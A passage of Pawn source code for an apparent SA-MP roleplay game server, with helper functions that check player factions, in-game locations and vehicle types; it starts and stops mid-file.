		  GetVehicleDamageStatus(vehicleid,vInfo[r][cPanel],vInfo[r][cDoors],vInfo[r][cLights],vInfo[r][cTires]);
		  SaveKonValV(r, "cPanel", vInfo[r][cPanel]);
		  SaveKonValV(r, "cDoors", vInfo[r][cDoors]);
		  SaveKonValV(r, "cLights", vInfo[r][cLights]);
		  SaveKonValV(r, "cTires", vInfo[r][cTires]);
		  vInfo[r][cHealth] = health;
		  SaveKonFloatV(r, "cHealth", health);
	   }
		}
		if(vehicleid == PINFO[owner][pCar_4]) {
		new r = PlayerInfo[owner][pVeh4];
		 if(health >= 250.0)
	   {
		  GetVehicleDamageStatus(vehicleid,vInfo[r][cPanel],vInfo[r][cDoors],vInfo[r][cLights],vInfo[r][cTires]);
		  SaveKonValV(r, "cPanel", vInfo[r][cPanel]);
		  SaveKonValV(r, "cDoors", vInfo[r][cDoors]);
		  SaveKonValV(r, "cLights", vInfo[r][cLights]);
		  SaveKonValV(r, "cTires", vInfo[r][cTires]);
		  vInfo[r][cHealth] = health;
		  SaveKonFloatV(r, "cHealth", health);
	   }
		}
		if(vehicleid == PINFO[owner][pCar_5]) {
		new r = PlayerInfo[owner][pVeh5];
		 if(health >= 250.0)
	   {
		  GetVehicleDamageStatus(vehicleid,vInfo[r][cPanel],vInfo[r][cDoors],vInfo[r][cLights],vInfo[r][cTires]);
		  SaveKonValV(r, "cPanel", vInfo[r][cPanel]);
		  SaveKonValV(r, "cDoors", vInfo[r][cDoors]);
		  SaveKonValV(r, "cLights", vInfo[r][cLights]);
		  SaveKonValV(r, "cTires", vInfo[r][cTires]);
		  vInfo[r][cHealth] = health;
		  SaveKonFloatV(r, "cHealth", health);
	   }
		}
		if(vehicleid == PINFO[owner][pCar_6]) {
		new r = PlayerInfo[owner][pVeh6];
		 if(health >= 250.0)
	   {
		  GetVehicleDamageStatus(vehicleid,vInfo[r][cPanel],vInfo[r][cDoors],vInfo[r][cLights],vInfo[r][cTires]);
		  SaveKonValV(r, "cPanel", vInfo[r][cPanel]);
		  SaveKonValV(r, "cDoors", vInfo[r][cDoors]);
		  SaveKonValV(r, "cLights", vInfo[r][cLights]);
		  SaveKonValV(r, "cTires", vInfo[r][cTires]);
		  vInfo[r][cHealth] = health;
		  SaveKonFloatV(r, "cHealth", health);
	   }
		}

	}
	return 1;
}
/*----------------------------------------------------------------------------*/
public IsAnInstructor(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==11)
	   {
		  return 1;
	   }
	   if(leader==11)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAnTaxi(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==10)
	   {
		  return 1;
	   }
	   if(leader==10)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
stock HexToInt(string[])
{
	if(!string[0]) return 0;
	new cur = 1, res = 0;
	for(new i = strlen(string); i > 0; i--)
	{
	   res += cur * (string[i - 1] - ((string[i - 1] < 58) ? (48) : (55)));
	   cur = cur * 16;
	}
	return res;
}

stock CreateTransparentObject(modelid, Float:X, Float:Y, Float:Z, Float:rX=0.0, Float:rY=0.0, Float:rZ=0.0) {
	new obj_ID = CreateDynamicObject(modelid, X, Y, Z, rX, rY, rZ);
	   for(new i; i< 10; i++)
	SetDynamicObjectMaterial(obj_ID, 0, 0, "none", "none", HexToInt("RRGGBB00"));
	return obj_ID;
}

stock CreateTransparentLogo(logo[], Float:X, Float:Y, Float:Z, size=OBJECT_MATERIAL_SIZE_256x128, fontface[] = "Arial", fontsize=24, bold=1, fontcolor=0xFFFFFF, backcolor=0, textalignment=0) {
	new obj_ID = CreateDynamicObject(4238, X, Y, Z, 0.0, 0.0, 0.0);
	SetDynamicObjectMaterial(obj_ID, 0, 0, "none", "none", HexToInt("0xRRGGBB00"));
	SetDynamicObjectMaterialText(obj_ID, logo, 0, size, fontface, fontsize, bold, fontcolor, backcolor, textalignment);
	return obj_ID;
}
public IsAMember(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==5 || member==6 ||member==12 || member==13 || member==14 || member==15 || member==19)
	   {
		  return 1;
	   }
	   if(leader==5 || leader==6 ||leader==12 || leader==13 || leader==14 || leader==15 || leader==19)
	   {
		  return 1;
	   }
	}
	return 0;
}

public IsAMemberCl(playerid)
{
	if(IsPlayerConnected(playerid))
	{
 new clan = PlayerInfo[playerid][pClan];
	   if(clan==1)
	   {
		  return 1;
	   }
	   if(clan==2)
	   {
		  return 1;
	   }
		if(clan==3)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAMemberC(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==5 || member==6 ||member==12 || member==13 || member==14 || member==15 || member==19)
	   {
		  return 1;
	   }
	   if(leader==5 || leader==6 ||leader==12 || leader==13 || leader==14 || leader==15 || leader==19)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsACop(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==1 || member==2 || member==3)
	   {
		  return 1;
	   }
	   else if(leader==1 || leader==2 || leader==3)
	   {
		  return 1;
	   }
	}
	return 0;
}
public IsAHacker(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==17)
	   {
		  return 1;
	   }
	   else if(leader==17)
	   {
		  return 1;
	   }
	}
	return 0;
}
public IsANr(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==8)
	   {
		  return 1;
	   }
	   else if(leader==8)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAPDMember(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==1)
	   {
		  return 1;
	   }
	   else if(leader==1)
	   {
		  return 1;
	   }
	}
	return 0;
}

public IsASFPDMember(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new leader = PlayerInfo[playerid][pLeader];
	   new member = PlayerInfo[playerid][pMember];
	   if(member==20)
	   {
		  return 1;
	   }
	   else if(leader==20)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public VehicleHasDriver(vehicleid)
{
      for(new i = 0;i<Akharish;i++)
	  {
           if(IsPlayerInAnyVehicle(i))
           {
                if(GetPlayerVehicleID(i) == vehicleid)
                {
                       if(GetPlayerState(i) == PLAYER_STATE_DRIVER)
                       {
                             return 1;
                       }
                }
           }
     }
     return 0;
}
public IsAtHotdogPlace(playerid)
{
	if(IsPlayerConnected(playerid))
	{

	   if(PlayerToPoint(3.0, playerid, 2327.5669,2420.0872,10.8203) || PlayerToPoint(3.0, playerid, 2536.7705,2137.3352,10.8203))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(3.0, playerid, 2144.3965,1440.8734,10.8203) || PlayerToPoint(3.0, playerid, 1543.6354,-1697.5503,13.5469))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(3.0, playerid, 1803.9893,-1861.9354,13.5769) || PlayerToPoint(3.0, playerid, 999.8986,-1850.0149,12.8146))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(3.0, playerid, 760.2253,-1670.2555,4.1461) || PlayerToPoint(3.0, playerid, 388.5802,-2072.7168,7.8359))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(3.0, playerid, 1589.4072,-1288.5424,17.5171) || PlayerToPoint(3.0,playerid, -196.126205,2659.945556,62.839744))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(3.0, playerid, -2147.457031,-424.305725,35.335937) || PlayerToPoint(3.0,playerid, -2690.852050,383.803985,4.374998))
	   {
		  return 1;
	   }
	}
	return 0;
}
// -------- Ranger Respray
public IsRangerRespray(playerid)
{
	if(IsPlayerConnected(playerid))
	{

	   if(PlayerToPoint(10.0, playerid, 1024.8453, -1031.2576, 30.9919))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(10.0, playerid, 720.0248, -464.8012, 15.2112))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(10.0, playerid, 488.2090, -1731.1039, 10.1627))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(10.0, playerid, 2074.0859, -1831.7715, 12.5450))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(10.0, playerid, -1904.6642, 274.3360, 40.0345))
	   {
		  return 1;
	   }
	   else if(PlayerToPoint(10.0, playerid, -2425.4917, 1031.0892, 49.3793))
	   {
		  return 1;
	   }
	}
	return 0;
}
// End Of Ranger Respray
// ----------------------------------------------
/*----------------------------------------------------------------------------*/
public IsAtATMSystem(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(PlayerToPoint(3.0,playerid,1009.2220,-929.6009,42.3281) || PlayerToPoint(3.0,playerid,603.6191,-1247.6931,18.4213) || PlayerToPoint(3.0,playerid,308.051910,-141.461181,999.601562))
	   {//ATM SYSTEM
		  return 1;
	   }
	   else if(PlayerToPoint(3.0,playerid,2173.2356,1417.4757,11.0625) || PlayerToPoint(3.0,playerid,1739.4116,-1862.9391,13.5757) || PlayerToPoint(3.0,playerid,2301.7996,-1982.3378,13.5769))
	   {//ATM SYSTEM
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAtClothShop(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(TooBiz[playerid] == 39 || TooBiz[playerid] == 40 || TooBiz[playerid] == 41 || TooBiz[playerid] == 73 || TooBiz[playerid] == 42 || TooBiz[playerid] == 45)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAtNaftKesh(playerid)
{
if(PlayerToPoint(1.0,playerid,353.259490, 1312.095214, 13.171688)){return 1;}
if(PlayerToPoint(1.0,playerid,419.122100, 1422.026977, 8.367267)){return 2;}
if(PlayerToPoint(1.0,playerid,405.152770, 1474.014282, 8.130290)){return 3;}
if(PlayerToPoint(1.0,playerid,433.637451, 1576.028930, 12.406148)){return 4;}
if(PlayerToPoint(1.0,playerid,600.416870, 1510.159423, 8.820802)){return 5;}
if(PlayerToPoint(1.0,playerid,534.480285, 1481.207275, 5.416320)){return 6;}
if(PlayerToPoint(1.0,playerid,578.190002, 1434.633789, 11.882306)){return 7;}
if(PlayerToPoint(1.0,playerid,627.761840, 1364.542114, 12.990397)){return 8;}
if(PlayerToPoint(1.0,playerid,562.804260, 1319.071289, 11.044900)){return 9;}
if(PlayerToPoint(1.0,playerid,490.629608, 1317.143310, 10.021254)){return 10;}
return 0;
}
public IsAtGasStation(playerid)
{
// 3(temple) || 9 (rent) || 12 (trucker) >> 26 move bde || 13 (jade ls-sf) ||
	if(IsPlayerConnected(playerid))
	{
	   if(PlayerToPoint(6.0,playerid,1004.0070,-939.3102,42.1797))
	   {
		  return 3;
	   }
	   else if(PlayerToPoint(6.0,playerid,1944.3260,-1772.9254,13.3906))
	   {
		  return 9;
	   }
	   else if(PlayerToPoint(6.0,playerid,-90.5515,-1169.4578,2.4079))
	   {
		  return 12;
	   }
	   else if(PlayerToPoint(6.0,playerid,-1609.7958,-2718.2048,48.5391))
	   {
		  return 13;
	   }
	   else if(PlayerToPoint(8.0,playerid,-2408.7590,976.0934,45.4175))
	   {
		  return 23;
	   }
	   else if(PlayerToPoint(5.0,playerid,-2243.9629,-2560.6477,31.8841))
	   {
		  return 24;
	   }
	   else if(PlayerToPoint(8.0,playerid,-1676.6323,414.0262,6.9484))
	   {
		  return 25;
	   }
	   else if(PlayerToPoint(6.0,playerid,2202.2349,2474.3494,10.5258))
	   {
		  return 26;
	   }
	   else if(PlayerToPoint(10.0,playerid,614.9333,1689.7418,6.6968))
	   {
		  return 27;
	   }
	   else if(PlayerToPoint(8.0,playerid,-1328.8250,2677.2173,49.7665))
	   {
		  return 28;
	   }
	   else if(PlayerToPoint(6.0,playerid,70.3882,1218.6783,18.5165))
	   {
		  return 29;
	   }
	   else if(PlayerToPoint(8.0,playerid,2113.7390,920.1079,10.5255))
	   {
		  return 30;
	   }
	   else if(PlayerToPoint(8.0,playerid,1595.8409,2195.8120,10.8203))
	   {
		  return 31;
	   }
	   else if(PlayerToPoint(6.0,playerid,2639.8884,1106.8141,10.8203))
	   {
		  return 32;
	   }
	   else if(PlayerToPoint(6.0,playerid,656.3797,-570.4138,16.5015))
	   {
		  return 33;
	   }
	   else if(PlayerToPoint(6.0,playerid,-1671.621215,410.416503,7.398437))
	   {
		  return 25;
	   }
	   else if(PlayerToPoint(6.0,playerid,-1678.261596,416.957763,7.405662))
	   {
		  return 25;
	   }
	   else if(PlayerToPoint(6.0,playerid,-2410.034912,975.821350,45.424880))
	   {
		  return 23;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAtFishPlace(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(PlayerToPoint(2.0,playerid,403.8266,-2088.7598,7.8359) || PlayerToPoint(1.0,playerid,398.7553,-2088.7490,7.8359))
	   {//Fishplace at the bigwheel
		  return 1;
	   }
	   else if(PlayerToPoint(2.0,playerid,396.2197,-2088.6692,7.8359) || PlayerToPoint(1.0,playerid,391.1094,-2088.7976,7.8359))
	   {//Fishplace at the bigwheel
		  return 1;
	   }
	   else if(PlayerToPoint(2.0,playerid,383.4157,-2088.7849,7.8359) || PlayerToPoint(1.0,playerid,374.9598,-2088.7979,7.8359))
	   {//Fishplace at the bigwheel
		  return 1;
	   }
	   else if(PlayerToPoint(2.0,playerid,369.8107,-2088.7927,7.8359) || PlayerToPoint(1.0,playerid,367.3637,-2088.7925,7.8359))
	   {//Fishplace at the bigwheel
		  return 1;
	   }
	   else if(PlayerToPoint(2.0,playerid,362.2244,-2088.7981,7.8359) || PlayerToPoint(1.0,playerid,354.5382,-2088.7979,7.8359))
	   {//Fishplace at the bigwheel
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAtBankk(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(TooBiz[playerid] == 8 || TooBiz[playerid] == 9)
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAtBar(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(PlayerToPoint(4.0,playerid,495.7801,-76.0305,998.7578) || PlayerToPoint(4.0,playerid,499.9654,-20.2515,1000.6797))
	   {//In GroveStreet street bar
		  return 1;
	   }
	   else if(PlayerToPoint(4.0,playerid,1215.9480,-13.3519,1000.9219) || PlayerToPoint(10.0,playerid,-2658.9749,1407.4136,906.2734))
	   {//PIG Pen
		  return 1;
	   }
	   else if(PlayerToPoint(4.0,playerid,2194.0007,1605.9015,1005.0625) || PlayerToPoint(10.0,playerid,1952.9330,1017.2921,992.4688))
	   {//Casino LV
		  return 1;
	   }
	   else if(PlayerToPoint(4.0,playerid,1949.2031,1015.7325,992.4745) || PTP(7.0,playerid,1762.229614,-1576.600097,2001.460449))
	   {//Casino LV
		  return 1;
	   }
	   else if(PlayerToPoint(4.0,playerid,-791.016,512.249,1336.41) || PlayerToPoint(10.0,playerid,-799.122,520.988,1336.41))
	   {//Nortenos House
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAtEatPlace(playerid)
{
	if(IsPlayerConnected(playerid))
	{
		if(PlayerToPoint(1.5,playerid,368.9714,-6.2486,1001.8516) || PlayerToPoint(1.5,playerid,376.8571,-67.6620,1001.5151) || PlayerToPoint(1.5,playerid,313.977355,-138.886062,1004.062500))
		{
		  return 1;
		}
		else if(PlayerToPoint(1.5,playerid,375.6895,-118.9683,1001.4995) || PlayerToPoint(0.8,playerid,379.0611,-186.6032,1000.6328))
		{
		  return 1;
		}
		else if(PlayerToPoint(1.5,playerid,-787.565551,500.073822,1371.742187))
		{
		  return 1;
		}
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAtCnn(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(PlayerToPoint(4.0,playerid,1111.92,-1796.84,16.5937) || PlayerToPoint(4.0,playerid,2079.4434,2046.1344,11.0579) || PlayerToPoint(3.0,playerid,1329.7839,-983.6779,33.8966))
	   {
		  return 1;
	   }
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsABoat(carid)
{
	new model = GetVehicleModel(carid);
	if(model == 472||model == 473||model == 493||model == 595||model == 484||model == 430||model == 453||model == 452||model == 446||model == 454)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAHarvest(carid)
{
	if((carid == farmveh1) || (carid == farmveh2) || (carid == farmveh3) || (carid == farmveh4) || (carid == farmveh5) || (carid == farmveh6) || (carid == farmveh7) || (carid == farmveh8) ||
	(carid == farmveh9) || (carid == farmveh10) || (carid == farmveh11) || (carid == farmveh12) || (carid == farmveh13) || (carid == farmveh14) || (carid == farmveh15) || (carid == farmveh16) ||
	(carid == farmveh17) || (carid == farmveh18) || (carid == farmveh19) || (carid == farmveh20) || (carid == farmveh21) || (carid == farmveh22))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
forward IsAHarvest2(carid);
public IsAHarvest2(carid)
{
	if(carid >= 424 && carid <= 432)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAPlane(carid)
{
	new model = GetVehicleModel(carid);
	if(model ==  592||model == 577||model == 511||model == 512||model == 593||model == 520||model == 553||model == 476||model == 519||model == 460||model == 513||model == 548||model == 425||model == 417||model == 487||model == 488||model == 497||model == 563||model == 447||model == 469)
	{
	   return 1;
	}
	return 0;
}
public IsARC(carid)
{
	new model = GetVehicleModel(carid);
	if(model ==  441||model == 464||model == 465||model == 501||model == 564||model == 594)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
function IsHeli(carid)
{
	new mod = GetVehicleModel(carid);
	if(mod == 548 || mod == 425 || mod == 417 || mod == 487 || mod == 488 || mod == 497 || mod == 563 || mod == 447 || mod == 469) return 1;
	return 0;
}
function IsAirVehicle(carid)
{
    new mod = GetVehicleModel(carid);
    if(mod==417||mod==425||mod==447||mod==460||mod==469||mod==476||mod==487||mod==488||mod==497||mod==511||mod==512||mod==513||mod==519||mod==520||mod==548||mod==553||mod==563||mod==577||mod==592||mod==593)return true;
    return false;
}
/*----------------------------------------------------------------------------*/
forward ThereIsAnyActiveAdmin();
public ThereIsAnyActiveAdmin()
{
	ForEachPlayer(i)
	{
	   if(PINFO[i][pAdmin] >= 1 && AFK[i] == 0 && AFKTime[i] < 70)
	   {
	   return 1;
	   }
    }
	return 0;
}
forward ThereIsAnyActiveHelper();
public ThereIsAnyActiveHelper()
{
	ForEachPlayer(i)
	{
	   if(PINFO[i][pHelper] >= 1 && PINFO[i][pAdmin] == 0 && AFK[i] == 0 && AFKTime[i] < 70)
	   {
	   return 1;
	   }
    }
	return 0;
}
forward ThereIsAnyActiveLeader();
public ThereIsAnyActiveLeader()
{
	ForEachPlayer(i)
	{
	   if(PINFO[i][pLeader] >= 1 && PINFO[i][pAdmin] == 0 && AFK[i] == 0 && AFKTime[i] < 70)
	   {
	   return 1;
	   }
    }
	return 0;
}
forward ThereIsAnyAdmin();
public ThereIsAnyAdmin()
{
	ForEachPlayer(i)
	{
	   if(PINFO[i][pAdmin] >= 1)
	   {
	   return 1;
	   }
    }
	return 0;
}
forward ThereIsAnyHelper();
public ThereIsAnyHelper()
{
	ForEachPlayer(i)
	{
	   if(PINFO[i][pHelper] >= 1 && PINFO[i][pAdmin] == 0)
	   {
	   return 1;
	   }
    }
	return 0;
}
forward ThereIsAnyLeader();
public ThereIsAnyLeader()
{
	ForEachPlayer(i)
	{
	   if(PINFO[i][pLeader] >= 1 && PINFO[i][pAdmin] == 0)
	   {
	   return 1;
	   }
    }
	return 0;
}
/*---------------------------------------------------------------------------------*/
public IsACopCar(carid)
{

	new mod = GetVehicleModel(carid);
	if((mod == 497 || mod == 596 || mod == 599 || mod == 523 || mod == 490 || mod == 598 || mod == 470 || mod == 597 || mod == 601 || mod == 427 || mod == 528 || (carid >=50 && carid <=53) || (carid >= 31 && carid <=35) || (carid >= 8 && carid <= 15) || (carid > 674 && carid < 686) || carid == 1 || carid == 2) && carid != 664 && carid != 705 && carid != 706 && carid != 707 && carid != 708 && carid != medcaraf)
			{
	   return 1;
	}
	return 0;
}
public IsACopCarV2(carid)
{

	if((carid == pdcaraf1) || (carid == pdcaraf2) || (carid == pdcaraf3) || (carid == pdcaraf4) || (carid == pdcaraf5) || (carid == pdcaraf6) || (carid == pdcaraf7) || (carid == pdcaraf8) || (carid == pdcaraf9) || (carid == pdcaraf10) || (carid == pdcaraf11) || (carid == pdcaraf12) || (carid == pdcaraf13) || (carid == pdcaraf14) || (carid == pdcaraf15) || (carid == pdcaraf16))
   {
	   return 1;
	}
	return 0;
}
public IsACopCarV3(carid)
{

	if((carid == pdcaraf17) || (carid == pdcaraf18) || (carid == pdcaraf19) || (carid == pdcaraf20) || (carid == pdcaraf21) || (carid == pdcaraf22) || (carid == pdcaraf23) || (carid == pdcaraf24) || (carid == pdcaraf25) || (carid == pdcaraf26) || (carid == pdcaraf27) || (carid == pdcaraf28) || (carid == pdcaraf29) || (carid == pdcaraf30) || (carid == pdcaraf31))
   {
	   return 1;
	}
	return 0;
}
public IsACopCarV4(carid)
{

	if((carid == pdcaraf32) || (carid == pdcaraf33) || (carid == pdcaraf34) || (carid == pdcaraf35) || (carid == pdcaraf36) || (carid == pdcaraf37) || (carid == pdcaraf38) || (carid == pdcaraf39) || (carid == pdcaraf40) || (carid == pdcaraf41) || (carid == pdcaraf42) || (carid == pdcaraf43) || (carid == pdcaraf44) || (carid == pdcaraf45) || (carid == pdcaraf46) ||
	(carid == carcopx35) || (carid == carcopx36) || (carid == carcopx37) || (carid == carcopx38) || (carid == carcopx39) || (carid == carcopx40) || (carid == carcopx41) || (carid == carcopx42) || (carid == carcopx43) || (carid == carcopx44) || (carid == carcopx45) || (carid == carcopx46) || (carid == carcopx47) || (carid == carcopx48) || (carid == carcopx49) ||
	(carid == carcopx50) || (carid == carcopx51) || (carid == carcopx52) || (carid == carcopx53) || (carid == carcopx54) || (carid == carcopx55) || (carid == carcopx56) || (carid == carcopx57) || (carid == carcopx58) || (carid == carcopx59) || (carid == carcopx60) || (carid == carcopx61) || (carid == carcopx62) || (carid == carcopx63) || (carid == carcopx64) ||
	(carid == carcopx65) || (carid == carcopx66) || (carid == carcopx67))
   {
	   return 1;
	}
	return 0;
}
public IsACopCarV5(carid)
{

	if((carid == pdcaraf47) || (carid == pdcaraf48) || (carid == pdcaraf49) || (carid == pdcaraf50) || (carid == carcopx1) || (carid == carcopx2) || (carid == carcopx3) || (carid == carcopx4) || (carid == carcopx5) || (carid == carcopx6) || (carid == carcopx7) || (carid == carcopx8) || (carid == carcopx9) || (carid == carcopx10) || (carid == carcopx11) || (carid == carcopx12)
	|| (carid == carcopx13) || (carid == carcopx14) || (carid == carcopx15) || (carid == carcopx16) || (carid == carcopx17) || (carid == carcopx18) || (carid == carcopx19) || (carid == carcopx20) || (carid == carcopx21) || (carid == carcopx22) || (carid == carcopx23) || (carid == carcopx24) || (carid == carcopx25) || (carid == carcopx26) || (carid == carcopx27) ||
	(carid == carcopx28) || (carid == carcopx29) || (carid == carcopx30) || (carid == carcopx31) || (carid == carcopx32) || (carid == carcopx33) || (carid == carcopx34))
   {
	   return 1;
	}
	return 0;
}
public IsAHackCar(carid)
{

	if((carid == unkcar1) || (carid == unkcar2) || (carid == unkcar3) || (carid == unkcar4) || (carid == unkcar5) || (carid == unkcar6) || (carid == unkcar7) || (carid == unkcar8) || (carid == unkcar9) || (carid == unkcar10) || (carid == unkcar11) || (carid == unkcar12) || (carid == unkcar13) || (carid == unkcar14) || (carid == unkcar15) || (carid == unkcar16) || (carid == unkcar17))
			{
	   return 1;
	}
	return 0;
}
public IsAnOilCar(carid)
{

	if((carid == oilcar1) || (carid == oilcar2) || (carid == oilcar3) || (carid == oilcar4) || (carid == oilcar5) || (carid == oilcar6) || (carid == oilcar7))
			{
	   return 1;
	}
	return 0;
}
/*public IsASCar(carid)
{

	if(carid < 710 && carid > 699)
			{
	   return 1;
	}
	return 0;
}
*/
/*----------------------------------------------------------------------------*/
function IsSpecialVeh(carid)
{
	if(carid == 1 || carid == 2 || (carid >=8 && carid <= 15)) return 1;
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsAnAmbulance(carid)
{
	if(((carid == amb4) || (carid == amb5) || (carid == amb6) || (carid == amb7) || (carid == amb8) || (carid == amb9) || (carid == amb1) || (carid == amb2) || (carid == amb3) || (carid == medcaraf) || (GetVehicleModel(carid) == 416)))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsATruck(carid)
{
	if(carid >= 98 && carid <= 101)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsABus(carid)
{
	if(carid == 69 || carid == 70)
	{
	   return 1;
	}
	return 0;
}
public IsPizCar(carid)
{
	if(carid == pizza1 || carid == pizza2 || carid == pizza3 || carid == pizza4 || carid == pizza5 || carid == pizza6)
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsATowcar(carid)
{
	if((carid == jcarx1) || (carid == jcarx2) || (carid == jcarx3))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsPGangCar(carid)//Da Nang Boys
{
	if((carid == cuncar) || (carid == cuncar1) || (carid == cuncar2) || (carid == cuncar3) || (carid == cuncar4) || (carid == cuncar5) || (carid == cuncar6) || (carid == cuncar7) || (carid == smfcar8) || (carid == smfcar9) || (carid == smfcar10) || (carid == smfcar11) || (carid == smfcar12) || (carid == smfcar13) || (carid == smfcar14) || (carid == smfcar15) || (carid == smfcar16) || (carid == smfcar17) || (carid == smfcar18) || (carid == smcar))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsPGangCar2(carid)//Triads
{
if((carid == corcar) || (carid == corcar1) || (carid == corcar2) || (carid == corcar3) || (carid == corcar4) || (carid == corcar5) || (carid == kmfcar8) || (carid == kmfcar9) || (carid == kmfcar10) || (carid == kmfcar11) || (carid == kmfcar12) || (carid == kmfcar13) || (carid == kmfcar14) || (carid == kmfcar15) || (carid == kmfcar16) || (carid == kmfcar17) || (carid == kmfcar18) || (carid == kmfcar19) || (carid == kmfcar20) || (carid == tkc))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsPGangCar3(carid)//TOW car company
{
	if((carid == tcc1) || (carid == tcc2) || (carid == tcc3) || (carid == tcc4) || (carid == tcc5) || (carid == tcc6) || (carid == tcc7))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsPGangCar4(carid)//Grove Street
{
if((carid == barcar) || (carid == barcar1) || (carid == barcar2) || (carid == barcar3) || (carid == barcar4) || (carid == barcar5) || (carid == barcar6) || (carid == dtc1) || (carid == dtc2) || (carid == dtc3) || (carid == dtc4) || (carid == dtc5) || (carid == dtc6) || (carid == dtc7) || (carid == dtc8) || (carid == dtc9) || (carid == dtc10) || (carid == dtc11) || (carid == dtc12) || (carid == dtc13) || (carid == dtc14))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsPGangCar5(carid)//tataglia
{
if((carid == tatcar) || (carid == tatcar1) || (carid == tatcar2) || (carid == tatcar3) || (carid == tatcar4) || (carid == tatcar5) || (carid == tatcar6) || (carid == tatcar7) || (carid == lmcar1) || (carid == lmcar2) || (carid == lmcar3) || (carid == 591) || (carid == 590) || (carid == lmcar4) || (carid == lmcar5) || (carid == lmcar6) || (carid == lmcar7) || (carid == lmcar8) || (carid == lmcar9) || (carid == lmcar10) || (carid == lmcar11) || (carid == lmcar12))
	{
	   return 1;
	}
	return 0;
}

public IsPGangCar19(carid)//Top BOys
{
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsPGangCar6(carid)//TBF
{
if((carid == patcar) || (carid == patcar1) || (carid == patcar2) || (carid == patcar3) || (carid == patcar4) || (carid == patcar5) || (carid == patcar6) || (carid == patcar7) || (carid == TBFc1) || (carid == TBFc2) || (carid == TBFc3) || (carid == TBFc4) || (carid == TBFc5) || (carid == TBFc6) || (carid == TBFc7) || (carid == TBFc8) || (carid == TBFc9) || (carid == TBFc10) || (carid == TBFc11) || (carid == TBFc12) || (carid == TBFc13))
	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsPGangCar7(carid)// streeci
{
if((carid == scar) || (carid == scar1) || (carid == scar2) || (carid == scar3) || (carid == scar4) || (carid == scar5) || (carid == scar6) || (carid == stormc1) || (carid == stormc2) || (carid == stormc3) || (carid == stormc4) || (carid == stormc5) || (carid == stormc6) || (carid == stormc7) || (carid == stormc8) || (carid == stormc9) || (carid == stormc10) || (carid == stormc11) || (carid == stormc12) || (carid == stormc13))

	{
	   return 1;
	}
	return 0;
}
/*----------------------------------------------------------------------------*/
public IsPGangCar8(carid)//spawn civil
{
